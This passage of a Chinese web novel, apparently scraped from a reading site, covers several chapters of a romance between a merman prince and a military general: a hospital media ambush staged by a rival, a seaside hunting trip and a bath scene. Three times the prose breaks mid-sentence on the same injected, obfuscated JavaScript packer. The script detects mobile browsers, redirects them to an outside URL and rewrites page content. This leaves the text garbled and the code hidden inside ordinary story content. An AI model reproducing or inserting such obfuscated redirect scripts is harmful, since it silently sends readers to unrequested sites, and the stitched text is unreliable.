男人呼吸声沉稳的打在他的肩头,又热又痒。叶鲤轻手轻脚的挪开他搭在自己腰间的手,准备下床。 算了,不管他。叶鲤心想,他可以自己去掏两个海胆回来,等傅寂洲睡醒了送给他吃。 正好能证明自己很贴心很有用,并不是一条只会索取红宝石的鱼。 不过没有人腿要比他想象中麻烦的多。 他掀开了被子,挠头看着床外侧的傅寂洲。 傅寂洲很高,VIP的大床房被他占的满满当当,叶鲤又没有人腿,从他身上迈不过去。 叶鲤团着尾巴略显无措的被困在床内侧,直到傅寂洲大半夜觉得身上一沉,睁眼才发现叶鲤没睡觉。 “……你在干什么。”傅寂洲声音困倦低哑,撩开垂落在脸上的发丝,只觉得自己还在做梦。 叶鲤尴尬的从傅寂洲身上爬下来:“我想给你掏海胆,但是你一直没醒。” 傅寂洲闭了闭眼,拿出手机一看,凌晨两点。 “睡、觉。”傅寂洲咬牙切齿,掀开被子把叶鲤卷进去,制作出一个人鱼馅的春卷。 大半夜,谁家老婆一个劲的想要出去啊? “老实睡觉,明天再说,”傅寂洲沉沉压在春卷身上,蹙眉看着叶鲤的小脸,“知不知道你现在是个患者?还想像之前一样熬夜吗?” “可是……” “没有可是,再折腾就别想要钻石了。”傅寂洲简单粗暴的制止了叶鲤的行动。 他白天刚清缴完一窝暴民,前脚回联盟中心述职,后脚就听到叶鲤外出受伤的消息,从白天忙到现在没合眼,精神倦怠到只想抱着叶鲤好好睡一觉。 叶鲤话音戛然而止,瞪着圆圆的眼睛看着傅寂洲。 三分迷茫,三分错愕,和四分的难以置信。 为什么!究竟为什么不让他出去! 傅寂洲有这么困吗? 叶鲤郁闷的在被子里翻来覆去,终于把两只胳膊解救了出来,他忍不住趴在傅寂洲耳边问:“那你要睡多久呀?” 傅寂洲眼睛闭着,看起来相当不近人情:“八个小时。” 叶鲤两眼一翻,嘎嘣一下撅了过去。 —— 第二天醒来的时候,傅寂洲只觉得头疼。 昨晚叶鲤睡不着左右翻身,还絮絮叨叨的趴在他耳边一个劲的说话,他梦里全都是这条聒噪的人鱼。 但他却一点都发不出来脾气。 他已经很久没有抱着人鱼休息了。除了结婚当天,之后他和叶鲤一直是分居状态,虽然同住一个屋檐下,但交流少的可怜。 哪怕现在叶鲤闹腾一点,只要还在他怀里,他就甘之如饴。 他下床穿衣,白色衬衣遮住饱满紧致的胸肌。随后他轻捏了一把人鱼的脸颊,声音柔和:“不是想出去玩吗,走吧。” “唔……”叶鲤折腾了一晚上,困意终于上来了,“不要,我好困。” 傅寂洲皱眉盯着这条作息不规律的小鱼,无可奈何地叹息一声。 管家之前就和他说过,叶鲤总熬夜,晚上不睡白天不醒,早饭永远都不记得吃。 现在年轻,再过几年身体怎么能吃得消? 得借着叶鲤失忆的这段时间,把他的作息给掰正了,傅寂洲暗自决定。 “今天就算了,以后不许再这么昼夜颠倒着熬夜。” 叶鲤睡得不省人事,无意识的挥了挥手,给了傅寂洲一巴掌。 —— 【东联盟速报——人鱼王子深夜被抬进急诊,头部重伤!】 【人鱼深夜重伤,傅上将姗姗来迟,扒一扒这个鼎鼎有名的男人有多凉薄。】 【三年联姻,人鱼王子叶鲤疑似沦为政治牺牲品!傅寂洲手上即将再添鲜血!】 人鱼出现在大众视野只有短短二十年,而人鱼一族真正选择上岸和人类握手言和只有三年。“人鱼”二字永远是各家媒体标题的噱头。 更何况,傅寂洲和叶鲤是东联盟唯一的跨物种政治联姻。从他们踏入婚姻殿堂的那一刻起,就有上亿双眼睛盯着他们的一举一动。 引人注目的是,傅寂洲的政治生涯和他的婚姻一样史无前例——按照东联盟日报的概况,傅寂洲是从最末等的D区杀出来的一匹黑马。一匹年纪轻轻,就已经久经沙场的黑马。 傅寂洲的父亲是A区的执政官,因罪伏诛后,他的家族无一人出面收养年仅六岁的傅寂洲。在所有人都没有关注的角落,傅寂洲流落到D区,在当地孤儿院生活了十年。 十年之后,西联盟倒台,海盗肆虐。十六岁的少年加入志愿军,凭借战功,硬生生为自己厮杀出一条康庄大道。 这么杀伐决断的上将,想必迎娶人鱼也是为了功绩,能对人鱼好到哪去? 消息不胫而走,东联盟第一人民医院围满了记者。 傅寂洲此刻对外界的喧哗并不知情,他坐在院长办公室,皱眉道:“上次让你研发人鱼适用的过敏药,有进展了吗?” 院长推了推鼻梁上的眼镜:“上将啊,人鱼身体情况和人类不一样,这过敏药不是一时半会能研究出来的。其实最好的方法是避开过敏原……” 傅寂洲深呼吸:“我能不知道吗?他缠人的很,都说了不能喝奶茶,他又不听我的话。” 堂堂上将竟然被这件事烦的没招,简直是大大的ooc。 院长忍住不笑,轻咳一声:“横竖也不过是出一身皮疹,半小时不到就下去了,你让他喝几口也不妨事。” 傅寂洲脸色更冷了:“你知道皮疹多痒吗?要是这样惯着他,哪天过敏严重了怎么办!” 这院长没有一点医德,不是他家的老婆他当然不知道心疼! 院长:“……” 他有些无力:“上将,人鱼的代谢功能和修复功能比人类高上好几倍。你看昨天人鱼撞到头部的力道,要是放在人类身上,绝对是严重脑震荡,但是叶鲤什么事情都没有,只是暂时失忆。所以完全没有必要把这件事看的如此严重。” “什么事都没有?暂时失忆?”傅寂洲一拍桌子,“他脖子和手臂上有五六处挫伤,都破皮了,你看不到吗?” 院长:“……” “头发也断了很多,头皮软组织损伤两处,皮下出血三处,捞上来时他脸都是白的,这叫什么事都没有?” 院长:“……” 您是指那些没有痛感的头发和轻微皮下出血的伤口? 他怎么记得去年傅寂洲被海盗刺中了左臂,断了十来根筋脉,还面不改色地说不要紧呢? 人怎么能双标成这样,院长内心无语凝噎,表面露出赞同:“是,您说的对,您说的都对。这个抗过敏的药物我们继续研发,只要有经费,我们一定不遗余力。” 傅寂洲啪的掏出一张黑卡:“一切费用都从我账上走。” 院长笑容更真挚了:“好的,上将,祝您和小王子生活恩爱。” 到底是谁在反对上将和小王子在一起的?只要他还活着,一定誓死捍卫上将的爱情! —— 何伦上将一身正装,急匆匆拨开各家媒体往里面走。 “何伦上将,请您谈一谈此次人鱼受伤事件是一场意外吗?” “听说何伦上将就住在傅上将隔壁,您觉得人鱼平常状态如何,是否长期遭受虐待?” “有流言说傅上将家里大吵大闹不断,您身为傅上将的同事,有所耳闻吗?” 何伦上将疏于锻炼,肚子愈发大了,他抽出手帕擦了擦头上的汗,对着不停闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156169|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烁的摄像机长叹一口气:“如果人鱼需要法律援助,我何伦提供一切帮助,绝对不会袖手旁观!” 喧嚣的记者们皆是一静。 何伦的保镖团队姗姗来迟,拨开众人,为何伦让出了一条路。 下一秒,所有人爆发出更激烈的询问: “何伦上将,您的意思是傅上将真的在长期家暴人鱼吗?” 何伦顶着胖滚滚的肚子往前挤,摆手的时候脸上的肥肉跟着身体摆动:“无可奉告!无可奉告!” 该说的不该说的他已经全说了,反正今天来的一大半记者都是他的人。 这次他绝对要把傅寂洲这个D区的杂种赶出联盟。 不过是一个罪犯的儿子,哪怕军功再多,也不过是他何伦的垫脚石! 人鱼所在的病房房门紧闭着,何伦抬手拍门:“叶鲤,你还好吗?你需要什么尽管告诉我!” 何伦表现的胸有成竹,他已经让人把傅寂洲安排的人支开了,现在病房里只有人鱼在。 更重要的是,人鱼和他很熟。 他送给了人鱼那么多价值连城的珍珠,等得就是今天! 一半的记者在激动的录视频,另一半记者已经开上直播了。 在这种关头,一旦那条可怜的人鱼和何伦上将有一丁点互动,傅寂洲的政治生涯绝对不可能再继续了! 何伦把门拍的震天响,叶鲤的美梦戛然而止。 外面的动静简直比十万个小海豚还要吵,叶鲤痛苦的掀开捂在脑袋上的被子,愤愤起身。 何伦还在敲门,下一秒,门忽然从里面打开了。 何伦猝不及防的朝前面栽去。 叶鲤坐在轮椅上,敏捷地往后一撤,颇为嫌弃地捂住了鼻子。 “唔,好臭。” 吵闹的记者团像是被扼住了喉咙,戛然而止。 只有摄像头还在记录着。 他们听不懂人鱼语,却能通过人鱼的面部表情分辨喜怒。 他在嫌弃谁? 何伦脸上精彩纷呈,这么热的天,他承认自己顺着人群挤了一路是有点出汗,但是也没有那么味儿吧! 好在此刻没有人嘲笑他,所有人的目光全定在了人鱼身上。 清瘦的人鱼坐在轮椅上,白金色发丝柔顺的垂落肩头,上半身穿着医院的白色竖条纹病号服,扣子扣到了最上方,只能看到一截白的晃眼的脖颈。 鱼尾轻轻晃了下,几乎有三分之二的记者怔怔地往前走,就连刚刚弹幕不停的直播间也像是按下了暂停键。 好美…… 直到一声冷淡的声音从众人头顶传来,一群人才如梦初醒。 “谁让你们围在这里的?” 傅寂洲比在场所有人都高,最外围的几个记者打了个寒颤,唰唰往后退了几步。 “傅,傅上将!” 何伦猛地回神,面色扭曲。 他都偷偷和叶鲤见过多少次了,怎么每次都能看入迷!耽误正事! 何伦一个箭步冲到傅寂洲面前,肥硕的身体把叶鲤挡在后面:“傅上将,你想干什么!我们要尊重人鱼的意愿!” 被何伦雇佣的记者蜂拥而至:“傅上将,这次人鱼受伤是您动手的吗?” 聚光灯下,喘气都是错误的,无数镜头对准了他,恶意捕捉他的隐私。 傅寂洲冷淡的垂眸看着他们,最开始围上去的记者激动的想说些什么,又在窥到他的神色时戛然而止,后背倏地升起寒意。 傅寂洲看人,就像看蝼蚁一样漠然。 叶鲤看着人群呼啦一下散去,又把他的漂亮对象围了个水泄不通。 那些像黑大炮一样的东西不停发着光,把傅寂洲的脸照的亮亮的,面部每一处棱角都堪称完美。 众星捧月也不过如此。 他在人群外围,和整个人群都格格不入。 叶鲤捧着脸颊欣赏了许久,忽然嘿嘿一笑:他眼光真不赖。 傅寂洲竟然还会发光! 5. PUA “叶鲤是我的爱人,我爱他都来不及,怎么会伤他。” 傅寂洲的语气低沉,他天生不爱笑,以至于明明是一句缠绵悱恻的情话,硬生生说出了冷硬的味道。 没有人相信,倒是叶鲤听到了自己的名字,歪了歪脑袋。 何伦冷笑一声:“傅上将平常一句话都不愿意多说,现在当着媒体的面倒是能说会道。” “你对叶鲤好不好不是你说了算的,今天各家媒体见证下,你让叶鲤说实话,他真的爱你吗?!” 傅寂洲眉眼沉了下去。 叶鲤喜不喜欢他,轮不到这些人来讨论。 何伦猛地转身,大声问道:“叶鲤,你身上的伤是不是傅寂洲干的?他是不是对你一点都不好?” 记者随之转身,那些黑洞洞的大炮瞬间切到了叶鲤的脸上,现在会发光的成了叶鲤。 他没上岸之前从没见过这么多人,迷茫的和何伦对视上了:“?” 小胖鱼……呸,小胖人,你谁? 镜头下的人鱼鼻头圆润,眼睛湿漉漉的,清瘦的团着尾巴坐在轮椅上,让人无端怜爱。 何伦呼吸粗重,直勾勾地盯着叶鲤。他之前问过叶鲤无数次,每次叶鲤都“嗯嗯”点头,这次肯定也不例外。 叶鲤根本听不懂他在叽里咕噜的说啥,闪光灯刺眼,他下意识的向傅寂洲看去:“眼睛不舒服。” 早在何伦开口的那一瞬间,傅寂洲的忍耐力就达到了极限,他冷脸命令保镖把人统统清走,上前捂住了叶鲤的眼睛。 果木香萦绕鼻尖,叶鲤轻轻嗅了嗅,脊背放松下来。 他虽然听不懂话,但能察觉到这些人的恶意。 这些人和总是搞偷袭的海盗一样,坏心思都写在脸上了。 他贴近傅寂洲,把傅寂洲覆在他眼睛上的手拿下来。叶鲤总是笑眯眯的眼睛沉了下来,第一次发出了驱逐的尖啸。 这声尖啸威压深重,即使物种不同语言不通,众人也都在第一时间惊恐的接受到了叶鲤的命令:离开他的地盘,不要打扰他! 最内侧的几名记者相机摔在了地上,脸色苍白的往后拼命退去,这瞬间他不再记得其他事务,只知道自己触犯到了王的怒火,再往前走一步,就会溺毙在幽深大海。 “离开这里,”叶鲤蔚蓝色的眼睛深深环视着人群,十八岁的灵魂已经初显王储威压,“你们僭越了。” —— 何伦被保镖“请”走的时候才反应过来,他着急的对着叶鲤大叫:“你说啊,你怎么不说?” 他不是叶鲤唯一的靠山、最好的朋友吗? 每次他对人鱼说话,人鱼都耐心点头,怎么这次人鱼的态度变了这么多? 没人知道叶鲤是一条讨厌学习的小鱼,至今听不懂人话。叶鲤面对不熟的人类会敷衍的“嗯嗯嗯”,至于到底说了什么?他才不管。 直到保镖把记者一个个拎着衣领丢出医院,直播也没有结束。 全国人民在混乱晃动的镜头中看到冷漠无情的傅上将捏了一把人鱼软乎乎的腮帮子,起身走到人鱼面前,俯身遮住了人鱼的全貌。 【上将挪一挪,挡着我们的视线了——】 【靠,主播这么运镜是想找死啊,人鱼都出镜头外了!】 【好害怕,你们不害怕吗……我要脱粉缓缓,小鱼刚刚的声音一点都不可爱呜呜呜】 【楼上深井,首先叶鲤是王储,其次叶鲤是王储,最后叶鲤是王储!我说倦了,不要把小王子当观赏鱼对待/白眼】 这几位记者谁都没想到,直播间一瞬间涌进来上万人,个个恨不得把眼珠子黏在人鱼身上。 在一片骂骂咧咧声中,有人看见男人把叶鲤白金色的发丝撩到耳后。 谁也不清楚傅寂洲沉声说了什么,谁也窥不到傅寂洲的深情。 只能看见人鱼忽的弯了弯眼睛,亲昵的抬头,给了上将一个面颊吻。 流言不攻自破。 —— “抱歉,让你不开心了。”傅寂洲遮住了叶鲤面前的人群,拍着他的背安抚道。 这和大款没关系。 尽管大款昨晚非得揽着他睡觉,害得他一晚上没能出去玩。 “你买的粉钻到了,”身后镜头还在不遗余力的记录着他们的一举一动,傅寂洲向后瞥了一眼,轻声诱哄,“亲我,就交给你。” 叶鲤本来还在郁闷自己好梦被这群人打扰了,谁料傅寂洲上来就告诉了他这么一个好消息。 亲亲亲,肯定亲。叶鲤不仅亲的欢快,声音还响亮,角落里看热闹的几个白大褂没被保镖清理走,猛地发出一阵激动的尖叫。 “亲了!他们亲了!” 叶鲤困惑转头,被傅寂洲捏着下巴转了过来,只能看着傅寂洲精悍的胸膛。 看着就很Q弹。 傅寂洲寻着声音向后冷冷扫了一眼,一群白大褂鸟兽作散。 随后他心情很好的推着叶鲤回了病房,反手锁了房门。 叶鲤心情也很好,兴冲冲的打开钻戒盒,把粉钻戴到手指上,对着阳光发出一声声赞叹。 不愧是他精挑细选选出来的钻钻,在太阳光下闪得他眼睛都要睁不开了OvO 结婚真好,傍上大款真好! “喜欢吗?” “喜欢。” “我是你的男人,赚的钱都是你的,”傅寂洲开始循循善诱,“只要你不离开我,每天都有钻石。” 叶鲤开心的接受了傅寂洲的PUA,并提出了一点建议:“那你晚上休息的时候,我能去海里玩吗?” 傅寂洲想也不想的就拒绝了:“不可以。” “可是我又睡不着,我也不是一个合格的抱枕,我忍不住要说话的。” 他是一个聒噪的小鱼,傅寂洲真的不嫌他吵吗? “休息的时间,大家都睡了,你一个鱼出去太危险。” 叶鲤终于意识到了不对劲——谁睡了?谁大晚上不打猎去睡觉啊? “你们人类……晚上睡觉?” 叶鲤迷茫的得出了正确结论。 随后他眼睁睁的看着傅寂洲的脸色从恍然到震惊,再到怀疑人生。 他戳了戳大款:“你怎么了?” 没道理呀,都三年了,傅寂洲肯定是知道人鱼的作息的呀。 傅寂洲沉默的坐在床沿,手肘撑着膝盖,用力搓了搓脸:“没有人告诉我。” 主要是他也没问过。 人鱼眨眨眼凑过来:“嗯嗯?” 傅寂洲再次沉默了。 他从来不知道人鱼是昼伏夜出,刚结婚那时候他们夫夫二人语言不通,争执不断,后来他学会了人鱼语,叶鲤也很少和他沟通。 ……怪不得有好几次他白天带叶鲤出门时,叶鲤都丧着一张脸,他还以为人鱼总故意对他摆脸色。 叶鲤歪着头打量他的神色,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156170|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在担心他,傅寂洲沉沉吐出一口浊气。 不过好在他现在知道了,还不算晚。 傅寂洲看着叶鲤,把叶鲤看的直别扭,他才开口:“你是习惯了在夜晚打猎,还是只习惯在22点至6点这个时间段打猎?” 叶鲤一时没反应过来。 这两者的区别是……? 傅寂洲认真说道:“如果你是喜欢晚上没有光线时打猎,我尽量陪你到凌晨,后半夜你要在保镖的陪同下活动;如果你是习惯了在这个时间段打猎,有没有太阳都无所谓,我就申请去其他州工作,调整我的作息。” 其实他完全可以强行改正叶鲤的作息,让他和人类一样,日出而作,日落而息,反正他不需要叶鲤去打猎,哪怕他想吃天上的星星,他傅寂洲都会给叶鲤摘下来。 但是他不舍得改变叶鲤。他很多年前就发过誓,如果他迎娶了叶鲤,只会宠着惯着他,不会让他受一丁点委屈。 叶鲤愣了一下,他们各睡各的不行吗? 傅寂洲真的好执着一起睡觉,昨晚把他揽那么紧,今天还想方设法要和他作息保持一致,简直像是族里需要多多陪伴的幼崽。 “是习惯在这个时间段打猎。我们族人原本生活的海域有很多美味的海鳗,海鳗是夜行鱼,所以祖先会在这个时间打猎,所以即使我们现在换了海沟生存,又搬上岸了,还是保持原来的作息。” 叶鲤歪头看着傅寂洲,委婉劝说,“哎呀,其实也没有必要这么麻烦啦,搬家多累呀。” “不累。” 傅寂洲垂眸:“我们是结了婚的夫夫,理应每晚都睡在一起的。” 既然有解决办法,他就不会让叶鲤离开自己一刻。 傅寂洲的行动力一向很强,他说完就起身去窗边打电话,尽管叶鲤不懂人话,也知道他真的在寻找合适的地方搬家。 叶鲤:“……” 结婚真不好,大款也太固执了,叶鲤在心里默默吐槽。 他摸着手指上的大钻戒,无比纠结的叹息一声。 珊瑚湾的自助餐要开始了,可是他人还没过去呢。 他郁闷地摆弄了钻戒一会,猛地支棱起来:“傅寂洲,你想去珊瑚湾吗?” “嗯?”男人斜靠着窗边,昏黄的落日余晖透过玻璃照在他周身,像一层美妙的朦胧滤镜。 “搬家要考虑的事情很多,不是一时半会儿就能处理好的,我们这段时间可以先去珊瑚湾小住几日。”叶鲤觉得计划通。 “为什么想去珊瑚湾?”他之前没听人鱼提起过这个地方。 “有小鱼群要被卷来啦,”叶鲤两眼放光,兴奋的比划了一下,“如果我们在海豚赶到之前来到珊瑚湾,就能吃上头鱼!” 叶鲤几乎每年都会捉住头鱼,这就是实力。 他撸起宽大的病号服袖子,向傅寂洲展示自己的肱二头肌:“如何?” “嗯,不错。”体脂率控制在10%、常年在军队高强度训练的男人盯着叶鲤的白斩肌看了一会,昧着良心赞了一声。 “所以我们去吗?”叶鲤着急的问。 傅寂洲先低头查了查当地的天气和最近的航班,通知秘书长加急申请航空航线,并预约了珊瑚岛民宿中最大的双人床。 抬眼就发现叶鲤还在眼巴巴的看着自己,他勾起唇角:“放心,一定让你吃上头鱼。” 叶鲤觉得此时的傅寂洲比刚刚发光的时候还要亮眼。 6. 仆人傅寂洲 珊瑚湾。 叶鲤刚下航班就窜了出去,空气中湿润的水汽让他倍感亲切,虽然还没到海边,但咸咸海风的美妙味道已经在鼻端诱惑他了。 全自动轮椅比人腿走的快,不过叶鲤刚刚窜出去,就被傅寂洲拽停了。 叶鲤回头:? 保镖迟了两步,匆匆打开防晒伞,上前给两位先生挡住了夏日炽热的太阳。 傅寂洲绕到前面,弯腰把人鱼抱进怀里,动作自然的把叶鲤从轮椅转移到车上。 叶鲤从医院到珊瑚湾,来来回回被抱了好几次,除了开始有些尴尬,现在已经习惯了。 但谁给他馒头谁给他拳头他叶鲤记得清清楚楚,傅寂洲明明是大款,却像个下等仆人一样伺候他,叶鲤心里十分感动。 等到他有了人腿,一定也扛着傅寂洲走路,叶鲤暗下决心。 汽车七拐八扭,最后才来到海边,人类修建的道路和人类说的语言一样弯弯绕绕,叶鲤贴着窗边,期待地看着波光粼粼的海面离自己越来越近。 傅寂洲拿着一个小盒子摇了摇,让叶鲤伸手。 随后在叶鲤的胳膊上挤出了一堆白色的液体,质地像早上喝的牛奶乳,闻着还有点清香。 叶鲤忍住舔一口的冲动,好奇的看着傅寂洲把液体均匀涂抹在他的皮肤上:“这是什么?” “防晒霜。外面紫外线很强,担心你晒伤。” 傅寂洲查了很久的资料,他家小鱼来自深海,很少晒这么强烈的太阳。 不知道人鱼会不会晒伤,但他决定再对叶鲤再精细照顾一点。 傅寂洲的手掌有薄茧,触碰到他的胳膊时有些痒,叶鲤盯着男人指节分明的手掌看了一会,尾巴动来动去。 一条胳膊涂抹均匀后,叶鲤很配合的伸出了另一只胳膊。 好玩,像是在给食物洒酱汁。 叶鲤决定待会去没人的地方浅尝一口自己。 两条胳膊都涂抹均匀后,傅寂洲拆开了另一个小盒子,对叶鲤勾手:“把脸蛋也涂一下。” 听专柜说,这些都是什么最高级别的四个+号的顶级防晒乳,他没抹过,也不懂。于是干脆把各个品牌的都买了一遍,挨个给叶鲤涂上。 叶鲤乖乖把脸凑了过去。 他本身就离傅寂洲很近,两人在汽车后座肩并肩坐着,车子再一拐弯,就很容易把脸糊到傅寂洲肩上。 叶鲤干脆横着一趟,枕着傅寂洲坚硬的大腿:“来吧!” 傅寂洲动作一滞。 叶鲤的长发如白金色的瀑布般散开,他失忆以来开心了许多,唇角上扬,窗外阳光洒在他的身上,美的像是油画。 傅寂洲垂眸把防晒霜挤在他的脸蛋上,拇指把乳液推开,目光变得幽深。 叶鲤的呼吸打在他小腹上,气息微凉,傅寂洲喉结仓促滚动了一下。 叶鲤闭着眼睛,后脑勺不舒服的左右动了动。 什么东西?硌着他的脑袋了。 —— 强潮汐流果然如约而至。 傅寂洲没放鱼离开。 他盯着叶鲤把脖子上、手上的一切首饰都摘了,扒拉着叶鲤左看右看,又不放心的把定位手环戴在小鱼右手上,再给手机套了防水袋,绑在左手上。 叶鲤:“……” 有必要这么谨慎吗?他下海是回舒适区了,他是鱼,是鱼啊! 还好胖胖没跟来,不然铁定嘲笑他。 “乖,上岸后再取下来。我和你的钻石在海滩上等你回来。” 叶鲤听到钻石,叛逆心弱了些,但还是不忿:“手机袋应该挂脖子里,手环应该是彩色的。” “挂脖子里万一被水流冲着勒到脖颈了怎么办?这款手环只有纯色,定位手环不是装饰品,不要挑三拣四。” 傅寂洲寸步不让。 叶鲤长叹一声,觉得大款比他哥都管的宽。 族里的其他情侣也不是这样的啊,他们族人还有一对情侣手拉手去沙漠旅游结果脱水差点嘎了,事后还手拉手去非洲晒太阳差点晒成鱼干。 …… 不过这样也不好,真嘎了很难收场。 叶鲤收回了想要讲给傅寂洲听的心思。 “好吧,”叶鲤甩了甩两只不自由的手腕,手机在左手上飞来飞去,“有点碍事,不过不影响我捉头鱼。你在这等着我,我很快就回来。” 叶鲤下海的速度很快,傅寂洲只能看见一个蔚蓝色的尾鳍拍了拍海面,顷刻消失不见。 叶鲤下潜到了记忆中蹲鱼的地方,坐在一块稍微平整的石头上。 叶鲤往后看了一眼,无边无际的海水,和因为强潮汐手忙脚乱的海鲜们。 没有人跟上来。 叶鲤看了几分钟,才若无其事的转过头。 他不知道为什么忽然在捕猎时想起了傅寂洲,可能因为他上岸的时候男人总是盯着他看,盯着他笑,现在乍一回海里,他竟然有些不习惯了。 海浪和水流愈发强烈,叶鲤把傅寂洲放在脑后,专心蹲守美味筋道的头鱼。 顺便舔了一口小臂。 唔……怪味道。 叶鲤小脸皱成一团,连忙抠出石头上的藤壶肉,嚼吧嚼吧咽下去,遮住了舌根的怪味。 可恶的人类,不能吃的东西为什么要制造的这么诱鱼,良心大大的坏! —— 鱼腥味越来越浓,叶鲤盯着前面黑压压的一片鱼群,海浪把他的头发向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156171|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后冲,露出饱满光环的额头。 是时候了,叶鲤猛地一弹尾巴,冲了出去! 比小臂还要长、比大腿还要粗的头鱼雄赳赳气昂昂的带着鱼群赶路,猝不及防的被薅进怀里,顿时扭动着身体挣扎起来。 叶鲤要赶在鱼群把自己淹没之前爬上岸,他熟练的抓着头鱼的尾巴,潜到礁石堆旁边梆梆几下把它敲晕,夹在咯吱窝底下,摆摆尾巴浮上了岸。 成片成片的小鱼群被他甩在身后,殊不知头鱼早就被敲晕拐跑了。 叶鲤忍不住甩了甩飘逸的长发,不愧是他。 一个字,帅! “划拉——” 叶鲤从海里钻了出来,举着头鱼欢呼,下一秒被一双大手提溜起来,拦腰抱进怀里。 果木香,是傅寂洲的味道。 叶鲤笑眯眯地抬头,把头鱼拿给他看:“我是不是超厉害!” 傅寂洲嗯了一声,飞快带着他往回赶,潮汐卷着浪花拍在沙滩上,傅寂洲的小腿已经被海水淹没了。 保镖扛着两个救生圈,心惊胆战的跟在身后。 他觉得老大有点鬼迷心窍了,他老婆是鱼,但他是人,至于一直在原地等吗?! 再晚一会儿,他们全都得被冲跑。 叶鲤把尾巴卷在傅寂洲腰上,肾上腺素飙升带来的兴奋劲儿还没过,心脏砰砰搏动,被傅寂洲听的一清二楚。 人鱼潮湿的长发缠绵在他颈侧,像是爱抚,又像是专属于他的颈圈。 傅寂洲忽然想到八年前他被遗弃在海边,鼻腔被咸腥海水淹没时,人鱼破水而出的那晚。 也是这么阴沉沉的天,一晃八年过去,人鱼终于被他揽在了怀里。 还好涨潮不算很快,几人安全返回岸边,保镖如释重负的把救生圈扔在一边。 不会水的同伴拍了拍他的肩:“紧张什么!有救生圈在,能淹死你?” 此人抹了一把脸上的汗,苦哈哈的摇头: 这么大的浪能不紧张吗?还好人鱼安全返回,不然水漫过头顶,老大也不走啊! —— 今年的海豚速度很快,鱼群被海豚大部队撕咬的溃不成军。 海豚是高智商生物,把鱼群赶在海面上,四面八方的围起来,一网打尽。 叶鲤在五百平的海景房里欣赏了片刻,头顶忽然被绵软的毛巾揉了揉。 傅寂洲冲完澡出来,身上的果木香愈发明显,他看着叶鲤湿漉漉的发,低声问道:“要泡澡吗?我带了你最喜欢的浴球。” 叶鲤嗯嗯点头。 没有一条鱼能拒绝泡澡的诱惑。 傅寂洲满意的推着叶鲤往浴室走:“打猎辛苦了。让我来服侍你沐浴吧,小王子。” 7. 男德经 浴球在水中融化,叶鲤拨了拨水面,带着细闪的蓝色泡泡慢悠悠散开,停在了他的鱼鳞上。 空气中是清新的海盐味道,叶鲤克制住浅尝一口的欲.望,深深吸了一口气。 傅寂洲把衬衣袖子挽起,露出结实精悍的小臂,浴室的灯光是暖黄色,把他锋利冷淡的棱角照淡了,露出只属于人鱼一个人的柔情。 因为天气炎热,他这次来带足了人鱼要用的所有护肤品和保湿水。此时男人正站在架子前,从一众瓶瓶罐罐中抽出一张面膜,略显生疏的撕开包装,把膜布扯平整,敷在叶鲤的脸上。 顺手把叶鲤黏在耳边的长发挑开,指尖下的发丝柔顺,傅寂洲忍不住在手中把玩了许久,才终于帮他把头发扎了起来。 叶鲤的锁骨聚了一汪水,随着头发拢在耳后,池水完全露了出来,随着呼吸起起伏伏。 叶鲤一动,水滴从锁骨蜿蜒向下,随着男人的视线从胸前滚落,坠入浴池。 叶鲤学着人类的样子,对傅寂洲竖起了大拇指:“待会我也给你敷面膜。” 傅寂洲垂眸看着,闻言极其缓慢的撩起了眼皮。 他在军队风里来雨里去,从来没在脸上抹过除了酒精和碘伏之外的东西,摇头婉拒了。 如果不是叶鲤,他这辈子也不会拿着这种黏糊糊湿润润的东西研究。 他对这些护肤品的兴趣还没有叶鲤锁骨那一汪水的兴趣大。 叶鲤在海里裸习惯了,当然不知道傅寂洲在他面前想了什么乱七八糟的东西,他还催促道: “你怎么还不脱衣服?” “浴缸坐不下两个人。”过了片刻,傅寂洲才哑声说道。 叶鲤目测了一下浴缸的长宽高,觉得挤一挤还是可以的。 不过傅寂洲还是拒绝了:“说好的,我先服侍你。” 带着薄茧的手掌捞起水中的鱼尾,拇指揉搓着细小光滑的鳞片,叶鲤觉得一阵酥麻从尾椎骨传来,身体一软,差点哧溜一下把脑袋滑进去。 傅寂洲的另一只手稳稳地攥紧了他的腰。 好痒,傅寂洲的手放的太靠上了,叶鲤抓着浴缸边缘,欲言又止。 这是正经服侍吗? “尾巴很干净,不用揉。”叶鲤企图从傅寂洲手中把自己救出来。 傅寂洲却把掌心的鱼尾抓紧了。 “不舒服?” “……”算不上不舒服,只是傅寂洲的指腹摩挲鳞片的力度太轻,动一下就很痒。 “我轻轻的,你让我摸一下,”傅寂洲抬眼看着叶鲤,“你之前很喜欢让我摸的,忘了吗?” “……?”叶鲤瞪大了眼睛。 这么痒,他是变态吗? 